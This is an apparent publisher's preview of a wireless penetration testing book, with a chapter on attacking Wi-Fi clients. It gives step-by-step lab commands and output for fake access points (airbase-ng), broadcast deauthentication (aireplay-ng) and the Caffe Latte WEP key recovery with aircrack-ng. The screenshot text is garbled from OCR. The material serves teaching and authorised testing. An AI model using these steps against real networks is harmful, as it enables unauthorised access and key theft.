

# **BackTrack 5 Wireless Penetration Testing Beginner's Guide**

Vivek Ramachandran



Chapter No. 6 "Attacking the Client"

### In this package, you will find:

A Biography of the author of the book

A preview chapter from the book, Chapter NO.6 "Attacking the Client"

A synopsis of the book's content

Information on where to buy this book

# About the Author

**Vivek Ramachandran** has been working on Wi-Fi Security since 2003. He discovered the Caffe Latte attack and also broke WEP Cloaking, a WEP protection schema publicly in 2007 at Defcon. In 2011, Vivek was the first to demonstrate how malware could use Wi-Fi to create backdoors, worms, and even botnets.

Earlier, he was one of the programmers of the 802.1x protocol and Port Security in Cisco's 6500 Catalyst series of switches and was also one of the winners of the Microsoft Security Shootout contest held in India among a reported 65,000 participants. He is best known in the hacker community as the founder of http://www.SecurityTube .net/ where he routinely posts videos on Wi-Fi Security, Assembly Language, Exploitation Techniques, and so on. SecurityTube.net receives over 100,000 unique visitors a month.

Vivek's work on wireless security has been quoted in BBC online, InfoWorld, MacWorld, The Register, IT World Canada, and so on. This year he is speaking or training at a number of security conferences, including BlackHat, Defcon, Hacktivity, 44con, HITB-ML, Brucon, Derbycon, HashDays, SecurityZone, SecurityByte, and so on.

> I would like to thank my lovely wife for all the help and support during the book's writing process; my parents, grandparents, and sister for believing in me and encouraging me for all these years, and last but not the least, I would like to thank all the users of SecurityTube.net who have always been behind me and supporting all my work. You guys rock!

# **BackTrack 5 Wireless Penetration Testing Beginner's Guide**

Wireless Networks have become ubiquitous in today's world. Millions of people use them worldwide every day at their homes, offices, and public hotspots to log on to the Internet and do both personal and professional work. Even though wireless makes life incredibly easy and gives us such great mobility, it comes with its risks. In recent times, insecure wireless networks have been exploited to break into companies, banks, and government organizations. The frequency of these attacks has only intensified, as the network administrators are still clueless on how to secure wireless in a robust and foolproof way.

**BackTrack 5 Wireless Penetration Testing: Beginner's Guide** is aimed at helping the reader understand the insecurities associated with wireless networks, and how to conduct penetration tests to find and plug them. This is an essential read for those who would like to conduct security audits on wireless networks and always wanted a step-by-step practical guide for the same. As every wireless attack explained in this book is immediately followed by a practical demo, the learning is very complete.

We have chosen **BackTrack 5** as the platform to test all the wireless attacks in this book. BackTrack, as most of you may already be aware, is the world's most popular penetration testing distribution. It contains hundreds of security and hacking tools, some of which we will use in this course of this book.

## What This Book Covers

Chapter 1, Wireless Lab Setup, introduces dozens of exercises that we will be doing in this book. In order to be able to try them out, the reader will need to set up a wireless lab. This chapter focuses on how to create a wireless testing lab using off the shelf hardware and open source software. We will first look at the hardware requirements which include wireless cards, antennas, access points, and other Wi-Fi-enabled devices, then we will shift our focus to the software requirements which include the operating system, Wi-Fi drivers, and security tools. Finally, we will create a test bed for our experiments and verify different wireless configurations on it.

Chapter 2, WLAN and its Inherent Insecurities, focuses on the inherent design flaws in wireless networks which makes them insecure out-of-the-box. We will begin with a quick recap of the 802.11 WLAN protocols using a network analyzer called Wireshark. This will give us a practical understanding about how these protocols work. Most importantly, we will see how client and access point communication works at the packer level by analyzing Management, Control and Data frames. We will then learn about packet injection and packer sniffing in wireless networks, and look at some tools which enable us to do the same.

Chapter 3, Bypassing WLAN Authentication, talks about how to break a WLAN authentication mechanism! We will go step-by-step and explore how to subvert Open and Shared Key authentications. In course of this, you will learn how to analyze wireless packets and figure out the authentication mechanism of the network. We will also look at how to break into networks with Hidden SSID and MAC Filtering enabled. These are two common mechanisms employed by network administrators to make wireless networks more stealthy and difficult to penetrate, however, these are extremely simple to bypass.

Chapter 4, WLAN Encryption Flaws, discusses one of the most vulnerable parts of the WLAN protocol are the Encryption schemas—WEP, WPA, and WPA2. Over the past decade, hackers have found multiple flaws in these schemas and have written publically available software to break them and decrypt the data. Even though WPA/WPA2 is secure by design, misconfiguring those opens up security vulnerabilities, which can be easily exploited. In this chapter, we will understand the insecurities in each of these encryption schemas and do practical demos on how to break them.

Chapter 5, Attacks on the WLAN Infrastructure, shift s our focus to WLAN infrastructure vulnerabilities. We will look at the vulnerabilities created due to both configuration and design problems. We will do practical demos of attacks such as access point MAC spoofing, bit flipping and replay attacks, rogue access points, fuzzing, and denial of service. This chapter will give the reader a solid understanding of how to do a penetration test of the WLAN infrastructure.

Chapter 6, Attacking the Client, opens your eyes if you have always believed that wireless client security was something you did not have to worry about! Most people exclude the client from their list when they think about WLAN security. This chapter will prove beyond doubt why the client is just as important as the access point when penetrating testing a WLAN network. We will look at how to compromise the security using client side attacks such as mis-association, Caffe Latte, disassociation, ad-hoc connections, fuzzing, honeypots, and a host of others.

Chapter 7, Advanced WLAN Attacks, looks at more advanced attacks as we have already covered most of the basic attacks on both the infrastructure and the client. These attacks typically involve using multiple basic attacks in conjunction to break security in more challenging scenarios. Some of the attacks which we will learn include wireless device fingerprinting, man-in-the-middle over wireless, evading wireless intrusion detection and prevention systems, rogue access point operating using custom protocol, and a couple of others. This chapter presents the absolute bleeding edge in wireless attacks out in the real world.

Chapter 8, Attacking WPA Enterprise and RADIUS, graduates the user to the next level by introducing him to advanced attacks on WPA-Enterprise and the RADIUS server setup. These attacks will come in handy when the reader has to perform a penetration test on a large Enterprise networks which rely on WPA-Enterprise and RADIUS authentication to provide them with security. This is probably as advanced as Wi-Fi attacks can get in the real world.

Chapter 9, Wireless Penetrating Testing Methodology, is where all the learning from the previous chapters comes together, and we will look at how to do a wireless penetration test in a systematic and methodical way. We will learn about the various phases of penetration testing—planning, discovery, attack and reporting, and apply it to wireless penetration testing. We will also understand how to propose recommendations and best practices after a wireless penetration test.

Appendix A, Conclusion and Road Ahead, concludes the book and leaves the user with some pointers for further reading and research.

# **6** Attacking the Client



"Security is just as strong as the weakest link."

Famous Quote in Information Security Domain

Most penetration testers seem to give all the attention to the WLAN infrastructure and don't give the wireless client even a fraction of that. However, it is interesting to note that a hacker can gain access to the authorized network by compromising a wireless client as well.

In this chapter, we will shift our focus from the WLAN infrastructure to the wireless client. The client can be either a connected or isolated un-associated client. We will look at various attacks, which can be used to target the client.

We will cover the following:

- Honeypot and Mis-Association attacks
- Caffe Latte attack
- De-Authenticaton and Dis-Association attacks
- Hirte attack
- AP-less WPA-Personal cracking

Attacking the Client

## **Honeypot and Mis-Association attacks**

Normally, when a wireless client such as a laptop is turned on, it will probe for the networks it has previously connected to. These networks are stored in a list called the **Preferred Network List (PNL)** on Windows-based systems. Also, along with this list, it will display any networks available in its range.

A hacker may do either of two things:

- 1. Silently monitor the probe and bring up a fake access point with the same ESSID the client is searching for. This will cause the client to connect to the hacker machine, thinking it is the legitimate network.
- 2. He may create fake access points with the same ESSID as neighboring ones to confuse the user to connect to him. Such attacks are very easy to conduct in coffee shops and airports where a user might be looking to connect to a Wi-Fi connection.

These attacks are called Honeypot attacks, which happen due to Mis-Association to the hacker's access point thinking it is the legitimate one.

In the next exercise, we will do both these attacks in our lab.

#### Time for action – orchestrating a Mis-Association attack

Follow these instructions to get started:

1. In the previous labs, we used a client that had connected to the Wireless Lab access point. Let us switch on the client but not the actual Wireless Lab access point. Let us now run airodump-ng mon0 and check the output. You will very soon find the client to be in not associated mode and probing for Wireless Lab and other SSIDs in its stored profile (Vivek as shown):

- **[ 118 ]** -

0		root@bt: ~ - Sh	ell - Konsole	i and a second se	
Session Edit View Book	marks Settings Help				
CH 3 ][ Elapsed:	2 mins ][ 2011-03-	23 11:17			
BSSID	PWR RXQ Beacons	#Data, #/s	CH MB ENG	C CIPHER AUTH ESSID	
00:1E:40:53:02:FC	-50 17 1454	0 0	1 54 WP/	A TKIP PSK vivek	
00:25:5E:17:C8:00	-71 0 4	0 0	1 54 WE	P WEP swapnil	
00:25:5E:17:C8:02	-70 0 3	0 0	1 54 OP	N <length:< td=""><td>0&gt;</td></length:<>	0>
00:25:5E:17:C8:01	-70 0 3	0 0	1 54 OP	N <length:< td=""><td>0&gt;</td></length:<>	0>
00:25:5E:17:C8:03	-70 0 3	0 0	1 54 OPI	N <length:< td=""><td>0&gt;</td></length:<>	0>
BSSID	STATION	PWR Rate	Lost Packe	ets Probes	
(not associated)	00:16:44:19:DF:0A	-63 0-1	Θ	21	
(not associated)	00:24:D2:FE:7F:09	-70 0-1	Θ	5	
(not associated)	90:4C:E5:30:42:6C	-72 0-1	Θ	4	
(not associated)	00:26:B6:11:67:E5	-72 0-1	43	5 FinAirWifi	
(not associated)	60:FB:42:D5:E4:01	-63 0-1	Θ	144 Wireless Lab,Vive	k
00:1E:40:53:02:FC	C8:BC:C8:EE:12:0B	-63 1-1	Θ	45 vivek	
					10
					-
) m chall					
Snell					0

**2.** To understand what is happening, let's run Wireshark and start sniffing on the **mon0** interface. As expected you might see a lot of packets, which are not relevant to our analysis. Apply a Wireshark filter to only display Probe Request packets from the client MAC you are using:

Protoco Info
IEEE 80.Beacon Trame, SN=25, FN=0, Flags=, BI=100, SSID="VIVek"
IEEE 80:Probe Request, SN=1793, FN=0, Flags=C, SSID=Broadcast
IEEE 80:Probe Request, SN=1795, FN=0, Flags=C, SSID=Broadcast
IEEE 80:Beacon frame, SN=67, FN=0, Flags=C, BI=100, SSID="vivek"
IEEE 80:Beacon frame, SN=89, FN=0, Flags=C, BI=100, SSID="vivek"
IEEE 80:Beacon frame, SN=110, FN=0, Flags=C, BI=100, SSID="vivek"
IEEE 80:Beacon frame, SN=131, FN=0, Flags=C, BI=100, SSID="vivek"
IEEE 80:Beacon frame, SN=153, FN=0, Flags=C, BI=100, SSID="vivek"
IEEE 80:Probe Request, SN=1798, FN=0, Flags=C, SSID="Wireless Lab"
IEEE 80:Beacon frame, SN=174, FN=0, Flags=C, BI=100, SSID="vivek"
IEEE 80. Probe Request, SN=1799, FN=0, Flags=C, SSID="Wireless Lab"
IEEE 80. Probe Request, SN=1800, FN=0, Flags=C, SSID="Wireless Lab"
IEEE 80:Beacon frame, SN=217, FN=0, Flags=C, BI=100, SSID="vivek"
IEEE 80. Probe Request, SN=1802, FN=0, Flags=C, SSID="Wireless Lab"
IEEE 80:Beacon frame, SN=238, FN=0, Flags=C, BI=100, SSID="vivek"

- [ 119 ] -

In my case, the filter would be wlan.fc.type\_subtype == 0x04 && wlan.sa ==
 60:FB:42:D5:E4:01. You should now see Probe Request packets only from the client for the SSIDs Vivek and Wireless Lab:

Proto	со	Info						
IEEE	80:	Probe	Request,	SN=1795,	FN=0,	Flags=C,	SSID=Broadcast	
IEEE	80	Probe	Request,	SN=1798,	FN=0,	Flags=C,	SSID="Wireless	Lab"
IEEE	80	Probe	Request,	SN=1799,	FN=0,	Flags=C,	SSID="Wireless	Lab"
IEEE	80	Probe	Request,	SN=1800,	FN=0,	Flags=C,	SSID="Wireless	Lab"
IEEE	80	Probe	Request,	SN=1802,	FN=0,	Flags=C,	SSID="Wireless	Lab"
IEEE	80	Probe	Request,	SN=1806,	FN=0,	Flags=C,	SSID="Wireless	Lab"
IEEE	80	Probe	Request,	SN=1809,	FN=0,	Flags=C,	SSID="Vivek"	
IEEE	80	Probe	Request,	SN=1811,	FN=0,	Flags=C,	SSID="Vivek"	
IEEE	80	Probe	Request,	SN=1812,	FN=0,	Flags=C,	SSID="Vivek"	
IEEE	80	Probe	Request,	SN=1813,	FN=0,	Flags=C,	SSID="Vivek"	
IEEE	80	Probe	Request,	SN=1819,	FN=0,	Flags=C,	SSID="Vivek"	
IEEE	80	Probe	Request,	SN=1820,	FN=0,	Flags=C,	SSID="Wireless	Lab"
IEEE	80	Probe	Request,	SN=1822,	FN=0,	Flags=C,	SSID="Wireless	Lab"
IEEE	80	Probe	Request,	SN=1824,	FN=0,	Flags=C,	SSID="Wireless	Lab"
IEEE	80	Probe	Request,	SN=1830,	FN=0,	Flags=C,	SSID="Wireless	Lab"

**4.** Let us now start a fake access point for the network **Wireless Lab** on the hacker machine using the command shown next:



- [ 120 ] -

**5.** Within a minute or so, the client would connect to us automatically. This shows how easy it is to have un-associated clients.



6. Now, we will try the second case, which is creating a fake access point Wireless Lab in the presence of the legitimate one. Let us turn our access point on to ensure that Wireless Lab is available to the client. For this experiment, we have set the access point channel to 3. Let the client connect to the access point. We can verify this from the airodump-ng screen as shown next:

		root@bt: ~	- Shell - Konsole	
Menuon Edit View Bookmarks Settings Help				
CH 3 1 [Elapsed: 40 s ] [ 2011-03-23	12:56			
BSSID PWR RXQ Beacons	#Data, #/	/s CH MB	ENC CIPHER AUTH ESSID	
00:21:91:D2:8E:25 -27 100 379	31	0 3 54e.	OPN Wireless Lab	
00:1E:40:53:02:FC -47 87 387	0	0 1 54	WPA TKIP PSK vivek	
00:25:5E:17:C8:01 -69 0 3	Θ	0 1 54	OPN <length: 0=""></length:>	
00:25:5E:17:C8:00 -70 1 4	Θ	0 1 54	WEP WEP swapnil	
00:25:5E:17:C8:03 -70 0 3	Θ	0 1 54	OPN <length: 0=""></length:>	
BSSID STATION	PWR Rate	a Lost Pa	ackets Probes	
(+	<b>67 0</b>			
(NOT associated) 00:21:00:55:10:55	-00 0-	-1 0	4	
(not associated) 90:4C:E5:E7:B5:34	-70 0-	• 1 0	3	
(not associated) 00:26:5E:17:AA:93	-72 0-	-1 30	40 brindavan	
(not associated) 00:24:D6:2C:D3:40	-72 0-	-10	2	
(not associated) 00:23:4E:3A:A3:E3	-73 0-	-10	1	
00:21:91:D2:8E:25 60:FB:42:D5:E4:01	-9 36e-	-24e 337	329 Wireless Lab,Vivek	

7. Now let us bring up our fake access point with the SSID Wireless Lab:

0			root@bt: ~ - Shell - Konsole
Menu <sub>on Edit</sub>	View Bookmarks Se	ettings Help	
root@bt:~ 12:57:27	# airbase-nges Created tap inte	sid "Wireless Lab" rface at0	-c 3 mon0
12:5/:2/	irying to set Mi	U ON ATU TO 1500	
12:57:27	Access Point wit	h BSSID 00:C0:CA:3	E:BD:93 started.

[121] -

8. Notice the client is still connected to the legitimate access point Wireless Lab:

		root@bt: ~ - Shell - Konsole
Menuon Edit View Book	marks Settings Help	
CH 3][Elapsed:	12 s ][ 2011-03-23	3 12:58
BSSID	PWR RXQ Beacons	#Data, #/s CH MB ENC CIPHER AUTH ESSID
00:21:91:D2:8E:25 00:1E:40:53:02:FC	-21 87 131 -48 87 122	5 0 3 54e. OPN Wireless Lab 0 0 1 54 WPA TKIP PSK vivek
BSSID	STATION	PWR Rate Lost Packets Probes
(not associated) (not associated) (not associated) 00:21:91:D2:8E:25	00:26:5E:17:AA:93 00:26:B6:11:67:E5 00:24:D6:2C:D3:40 60:FB:42:D5:E4:01	3 -66 0 - 1 11 6 brindavan 5 -68 0 - 1 0 2 FinAirWifi 0 -72 0 - 1 0 1 1 -9 0 -24e 7 171 Wireless Lab,Vivek

**9.** We will now send broadcast De-Authentication messages to the client on behalf of the legitimate access point to break their connection:

🗉 💿 root@bt: ~ - Shell No. 2 - Konsole
Menu on Edit View Bookmarks Settings Help
root@bt:~# aireplay-ngdeauth 0 -a 00:21:91:D2:8E:25 mon0
13:32:14 Waiting for beacon frame (BSSID: 00:21:91:D2:8E:25) on channel 3
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac="">).</client's>
13:32:14 Sending DeAuth to broadcast BSSID: [00:21:91:D2:8E:25]
13:32:14 Sending DeAuth to broadcast BSSID: [00:21:91:D2:8E:25]
13:32:15 Sending DeAuth to broadcast BSSID: [00:21:91:D2:8E:25]
13:32:15 Sending DeAuth to broadcast BSSID: [00:21:91:D2:8E:25]
13:32:16 Sending DeAuth to broadcast BSSID: [00:21:91:D2:8E:25]
13:32:16 Sending DeAuth to broadcast BSSID: [00:21:91:D2:8E:25]
13:32:17 Sending DeAuth to broadcast BSSID: [00:21:91:D2:8E:25]
13:32:17 Sending DeAuth to broadcast BSSID: [00:21:91:D2:8E:25]
13:32:18 Sending DeAuth to broadcast BSSID: [00:21:91:D2:8E:25]
13:32:18 Sending DeAuth to broadcast BSSID: [00:21:91:D2:8E:25]
13:32:19 Sending DeAuth to broadcast BSSID: [00:21:91:D2:8E:25]
13:32:19 Sending DeAuth to broadcast BSSID: [00:21:91:D2:8E:25]
13:32:20 Sending DeAuth to broadcast BSSID: [00:21:91:D2:8E:25]
13:32:20 Sending DeAuth to broadcast BSSID: [00:21:91:D2:8E:25]
13:32:21 Sending DeAuth to broadcast BSSID: [00:21:91:D2:8E:25]
13:32:21 Sending DeAuth to broadcast BSSID: [00:21:91:D2:8E:25]
13:32:22 Sending DeAuth to broadcast BSSID: [00:21:91:D2:8E:25]
13:32:22 Sending DeAuth to broadcast BSSID: [00:21:91:D2:8E:25]
13:32:22 Sending DeAuth to broadcast BSSID: [00:21:91:D2:8E:25]
13:32:23 Sending DeAuth to broadcast BSSID: [00:21:91:D2:8E:25]
13:32:23 Sending DeAuth to broadcast BSSID: [00:21:91:D2:8E:25]
13:32:24 Sending DeAuth to broadcast BSSID: [00:21:91:D2:8E:25]

- [ 122 ] -

**10.** Assuming the signal strength of our fake access point **Wireless Lab** is stronger than the legitimate one to the client, it connects to our fake access point, instead of the legitimate access point:

<b>.</b>				root@bt: ~ - Shell No. 3 - Konsole
Session	Edit Vie	v Bookmarks	Settings	Help
root@bt	:~# ai	rbase-ng -	-essid '	"Wireless Lab" -c 3 mon0
13:26:1	1 Try	ing to set	MTU on	at0 to 1500
13:26:1	2 Acc	ess Point N	with BSS	SID 00:C0:CA:3E:BD:93 started.
13:32:5	6 Cli	ent 60:FB:4	42:D5:E4	4:01 associated (unencrypted) to ESSID: "Wireless Lab"

**11.** We can verify the same by looking at the airodump-ng output to see the new association of the client with our fake access point:

										roo	t@bt: ·	~ - Shel	l - Kons	ole		
Menuon	Edit	Viev	v Bool	kmarks	Setti	ings Help										
сн з	][	Elap	sed:	1 mi	n ][	2011-03-23	13:3	3								
BSSID				PWR	RXQ	Beacons	#Da	ta,	#/s	СН	MB	ENC	CIPHE	ER AUTH	ESSID	
00:C0:	CA:	3E:E	3D:93	Θ	100	1256	2	34	Θ	3	54	OPN			Wireless	Lab
00:21:	91:	D2:8	3E:25	0	100	592	_	0	Ø	3	54e	. OPN			Wireless	Lab
00:1E:	40:	53:6	2:FC	-49	96	586		õ	õ	1	54	WPA	ТКІР	PSK	vivek	
00:02:	CF:	D5:1	3:11	-65	12	207		õ	õ	2	54	WPA	TKIP	PSK	laxmi	
00:25:	5E :	17:0	8:01	-70		13		õ	õ	ī	54	OPN			<length:< td=""><td>0&gt;</td></length:<>	0>
00:25:	5E :	17:0	8:00	-71	0	11		õ	Ö	ī	54	WEP	WEP		swapnil	-
00:25:	5E:	17:0	8:03	-71	Ō	2		0	Ø	1	54	OPN			<length:< td=""><td>0&gt;</td></length:<>	0>
BSSID	<b>C</b> A -	25.5	20.02	STA	TION	a.53.62.EC	PWR	Ra	ate	Lo	st I	Packet	s Pro	obes		
60.CO.	CA.	36.6	20.03	00.	21.91	1.D2.8E.25	-1		1 . 0		Ā		20			
60.CO.	CA.	36.6	10.33	60.1	ER • 42	2.D2.62.23	-18	i	a _ 1		Ā	1	24 06 Wi	roloss	Lah	
(not a	1550	ciat	ted)	00:2	26:5	E:17:AA:93	-64	ì	9 - 1		õ	-	27 bi	indava	1	
(not a	1550	ciat	ted)	00:	LA:92	2:1F:C7:15	-65	i	9 - 1		õ		1		-	
(not a	isso	ciat	ted)	00:2	21:00	0:3E:10:65	-66	i	ə - 1		õ		3			
(not a	isso	ciat	ted)	78:1	DD:08	B:C5:36:7C	-68	i	9 - 1		Ō		2 Ar	aoor		
(not a	isso	ciat	ted)	00:2	24:28	B:CB:B2:F8	-69	i	9 - 1		Ō		1	F		
(not a	isso	ciat	ted)	00:2	26:B6	5:11:67:E5	-69	(	9 - 1		Ō		2 F	inAirWi <sup>.</sup>	fi	
(not a	isso	ciat	ted)	00:2	23:48	E:3A:A3:E3	-72	(	9 - 1		0		1			
00:1E:	40:	53:6	)2:FC	C8:	BC:C8	B:EE:12:0B	-1		L - 0		0		1			

[ 123 ] -

Attacking the Client

#### What just happened?

We just created a Honeypot using the probed list from the client and also using the same ESSID as that of neighboring access points. In the first case, the client automatically connected to us as it was searching for the network. In the latter case, as we were closer to the client than the real access point, our signal strength was higher, and the client connected to us.

#### Have a go hero – forcing a client to connect to the Honeypot

In the preceding exercise, what do we do if the client does not automatically connect to us? We would have to send a De-Authentication packet to break the legitimate client-access point connection and then if our signal strength is higher, the client will connect to our spoofed access point. Try this out by connecting a client to a legitimate access point, and then forcing it to connect to our Honeypot.

## **Caffe Latte attack**

In the Honeypot attack, we noticed that clients will continuously probe for SSIDs they have connected to previously. If the client had connected to an access point using WEP, operating systems such as Windows, cache and store the WEP key. The next time the client connects to the same access point, the Windows wireless configuration manager automatically uses the stored key.

The Caffe Latte attack was invented by me, the author of this book and was demonstrated in Toorcon 9, San Diego, USA. The Caffe Latte attack is a WEP attack which allows a hacker to retrieve the WEP key of the authorized network, using just the client. The attack does not require the client to be anywhere close to the authorized WEP network. It can crack the WEP key using just the isolated client.

In the next exercise, we will retreive the WEP key of a network from a client using the Caffe Latte attack.

#### Time for action – conducting the Caffe Latte attack

Follow these instructions to get started:

**1.** Let us first set up our legitimate access point with WEP for the network **Wireless Lab** with the key ABCDEFABCDEFABCDEF12 in Hex:

- [ 124 ] -

WIRELESS NETWORK SETTINGS				
Wireless Network Name : Wireless Lab (Also called the SSID)				
802.11 Mode : Mixed 802.11n, 802.11g and 802.11b				
Enable Auto Channel Scan :				
Wireless Channel : 2.422 GHz - CH 3				
Transmission Rate : Best (automatic) (Mbit/s)				
Channel Width : 20 MHz				
Visibility Status : 🖲 Visible 🔘 Invisible				
WIRELESS SECURITY MODE				
to protect your privacy you can configure wireless security reatures. This device supports three wireless security modes, including WEP, WPA-Personal, and WPA-Enterprise. WEP is the original wireless encryption standard. WPA provides a higher level of security. WPA-Personal does not require an authentication server. The WPA-Enterprise option requires an external RADIUS server.				
Security Mode : WEP				
WED				
<ul> <li>WEP</li> <li>WEP is the wireless encryption standard. To use it you must enter the same key(s) into the router and the wireless stations. For 64 bit keys you must enter 10 hex digits into each key box. For 128 bit keys you must enter 26 hex digits into each key box. A hex digit is either a number from 0 to 9 or a letter from A to F. For the most secure use of WEP set the authentication type to "Shared Key" when WEP is enabled.</li> <li>You may also enter any text string into a WEP key box, in which case it will be converted into a hexadecimal key using the ASCII values of the characters. A maximum of 5 text characters can be entered for 64 bit keys, and a maximum of 13 characters for 128 bit keys.</li> <li>If you choose the WEP security option this device will ONLY operate in Legacy Wireless mode (802.11B/G). This means you will NOT get 11N performance due to the fact that WEP is not</li> </ul>				
WEP Key Length : 128 bit (26 hex digits) (length applies to all keys)				
WEP Key 1 :				
WEP Key 2 :				
WEP Key 3 :				
WEP Key 4 :				
Default WEP Key : WEP Key 1 💠				
Authentication : Shared Key 🗘				

- [ 125 ] -

2. Let us connect our client to it and ensure that the connection is successful using airodump-ng as shown next:

			root@bt: ~ - Shell - Konsole
Menuon Edit View Book	marks Settings Help		
CH 3][Elapsed:	0 s ][ 2011-03-23 1	4:45	
BSSID	PWR RXQ Beacons	#Data, #/s	CH MB ENC CIPHER AUTH ESSID
00:02:CF:D5:13:11 00:25:5E:17:C8:03 00:25:5E:17:C8:00 00:1E:40:53:02:FC 00:21:91:D2:8E:25	-66 0 5 -69 0 2 -70 0 4 -56 79 25 -14 80 28	0 0 0 0 0 0 0 0 2 0	2 54 WPA TKIP PSK laxmi 1 54 OPN <length: 0=""> 1 54 WEP WEP swapnil 1 54 WPA TKIP PSK vivek 3 54e.WEP WEP Wireless Lab</length:>
BSSID	STATION	PWR Rate	Lost Packets Probes
(not associated) 00:21:91:D2:8E:25	E4:EC:10:4F:AD:74 60:FB:42:D5:E4:01	-67 0-1 -28 0-36e	93 14 Anoop e 13 81 Wireless Lab,Vivek

**3.** Let us unplug the access point and ensure the client is in the un-associated stage and searching for the WEP network **Wireless Lab**:

		root@bt: ~ - Shell - Konsole
Menu <sub>on E</sub> dit View Book	kmarks Settings Help	
CH 3][Elapsed:	8 s ][ 2011-03-23 ]	14:46
BSSID	PWR RXQ Beacons	#Data, #/s CH MB ENC CIPHER AUTH ESSID
00:25:5E:17:C8:00	-71 0 3	0 0 1 54 WEP WEP swapnil
00:02:CF:D5:13:11	-68 16 9	0 0 2 54 WPA TKIP PSK laxmi
BSSID	STATION	PWR Rate Lost Packets Probes
(not associated)	60:FB:42:D5:E4:01	1 -14 0 - 1 32 16 Wireless Lab,Vivek

**4.** Now we use airbase-ng to bring up an access point with **Wireless Lab** as the SSID with the parameters shown next:



[ 126 ] -

**5.** As soon as the client connects to this access point, airbase-ng starts the Caffe-Latte attack as shown:

<b>e</b>	root@bt: ~ - Shell No. 3 - Konsole
Session Edit	: View Bookmarks Settings Help
root@bt:~	# airbase-ng -c 3 -a 00:21:91:D2:8E:25 -e "Wireless Lab" -L -W 1 mon0
14:48:18	Created tap interface at0
14:48:18	Trying to set MTU on at0 to 1500
14:48:18	Access Point with BSSID 00:21:91:D2:8E:25 started.
14:48:31	Got 140 bytes keystream: 60:FB:42:D5:E4:01
14:48:31	SKA from 60:FB:42:D5:E4:01
14:48:31	SKA from 60:FB:42:D5:E4:01
14:48:31	SKA from 60:FB:42:D5:E4:01
14:48:31	SKA from 60:FB:42:D5:E4:01
14:48:31	SKA from 60:FB:42:D5:E4:01
14:48:31	SKA from 60:FB:42:D5:E4:01
14:48:31	SKA from 60:FB:42:D5:E4:01
14:48:31	SKA from 60:FB:42:D5:E4:01
14:48:31	SKA from 60:FB:42:D5:E4:01
14:48:31	SKA from 60:FB:42:D5:E4:01
14:48:31	SKA from 60:FB:42:D5:E4:01
14:48:31	SKA from 60:FB:42:D5:E4:01
14:48:31	SKA from 60:FB:42:D5:E4:01
14:48:31	Client 60:FB:42:D5:E4:01 associated (WEP) to ESSID: "Wireless Lab"
14:48:31	Client 60:FB:42:D5:E4:01 associated (WEP) to ESSID: "Wireless Lab"
14:48:31	Client 60:FB:42:D5:E4:01 associated (WEP) to ESSID: "Wireless Lab"
14:48:31	Client 60:FB:42:D5:E4:01 associated (WEP) to ESSID: "WireLess Lab"
14:48:31	Client 60:FB:42:D5:E4:01 associated (WEP) to ESSID: "Wireless Lab"
14:48:31	Client 00:FB:42:D3:E4:01 associated (WEP) to ESSID: "Wireless Lab"
14:40:31	Client 00:FD:42:D3:E4:01 associated (WEP) to ESSID: Wireless Lab
14:40:31	Client 00:FD:42:D3:E4:01 associated (WEP) to ESSID: Wireless Lab
14:40:31	Client 00:FD:42:D3:E4:01 associated (WEP) to ESSID: Wireless Lab
14.48.31	Client 00.rb.+2.05.E+.01 associated (WEP) to ESSID. Wireless Lab
14.48.31	Client 60-FR-42-D5-E4-01 associated (WEP) to ESSID. "Wireless Lab"
14.40.51	clent ourbarborer of associated (MEL) to ESSID. Miletess Lab
14:48:57	Starting Caffe-Latte attack against 60:FB:42:D5:E4:01 at 100 pps.
L	

**6.** We now start airodump-ng to collect the data packets from this access point only, as we did before in the WEP-cracking case:

<b>1</b>	root@bt: ~ - Shell - Konsole <2>
Session Edit View Bookma	arks Settings Help
CH 11 ][ Elapsed:	30 mins ][ 2011-02-06 04:01 ][ 140 bytes keystream: 00:21:91:D2:8E:25
BSSID	PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:21:91:D2:8E:25	-6 100 16387 11190 0 11 54e.WEP WEP SKA Wireless Lab
BSSID	STATION PWR Rate Lost Packets Probes
00:21:91:D2:8E:25	60:FB:42:D5:E4:01 0 0 - 1 0 22026 Wireless Lab

For More Information: www.packtpub.com/backtrack-5-wireless-penetrationtesting-beginners-guide/book

- [ 127 ] -

7. We also start aircrack-ng as in the WEP-cracking exercise we did before to begin the cracking process. The command line would be aircrack-ng filename where filename is the name of the file created by aircdump-ng:

50						ro	ot@bt: ~ - Shel	- Konsole <3>				
Session	Edit Vie	2W	Bookmar	ks Setting	js Help							
	Aircrack-ng 1.0 r1645											
					[00:	00:04] Tes <sup>.</sup>	ted 331777	keys (got	11111 IVs	)		
КВ	der	oth	ı by	te(vote	)							
Θ	0/	2	. AB	(17664)	1D(16640)	5A(15360)	BA(15360)	D1(15104)	07(14848)	E8(14848)	F0(14848)	
1	0/	]	. DD	(17664)	78(16384)	B0(16384)	25(15104)	48(14848)	36(14592)	79(14336)	0F(14080)	
2	1/	3	92	(15872)	84(15616)	1A(15360)	38(15104)	14(14848)	29(14848)	A1(14592)	C1(14592)	
3	1/	2	. 7C	(16896)	FF(16384)	7A(16128)	12(15360)	47(15360)	B7(15360)	85(15104)	94(15104)	
4	3/	4	- 0B	(15872)	CB(15616)	0F(15104)	B1(15104)	A9(14848)	C4(14848)	2A(14592)	36(14592)	
5	2/	3	46	(14848)	47(14592)	5C(14592)	9A(14336)	30(14080)	46(14080)	4C(14080)	6A(14080)	
6	3/	4	2B	(15104)	44(14592)	A4(14592)	EC(14592)	24(14080)	2B(14080)	3B(14080)	6D(14080)	
7	1/	2	56	(15872)	OC(14848)	21(14848)	5C(14848)	D8(14848)	F9(14848)	2C(14336)	40(14336)	
8	3/	4	. 02	(14848)	D4(14592)	E4(14592)	11(14336)	13(14336)	70(14336)	BC(14336)	46(14080)	
9	2/	3	i B3	(16384)	5E(15872)	D4(15872)	4C(15104)	EB(14848)	6F(14592)	BC(14592)	E0(14592)	
10	1/	2	2 5B1	(15616)	03(14592)	24(14592)	5F(14592)	68(14592)	E0(14592)	5E(14336)	95(14336)	
11	2/	3	i C8	(15616)	A6(15360)	39(15104)	D7(14848)	95(14592)	BD(14592)	46(14336)	OB(14080)	
12	5/	6	6B	(15104)	15(14848)	57(14848)	70(14592)	CE(14592)	0A(14336)	6F(14336)	CA(14336)	
L												

**8.** Once we have enough WEP encrypted packets, aircrack-ng succeeds in cracking the key as shown next:

50			/ /			ro	ot@bt: ~ - Shell	- Konsole <3>				
Session	Edit	View	Bookr	narks Settin	ngs Help							
	Aircrack-ng 1.0 r1645											
	[00:25:36] Tested 1285089 keys (got 48988 IVs)											
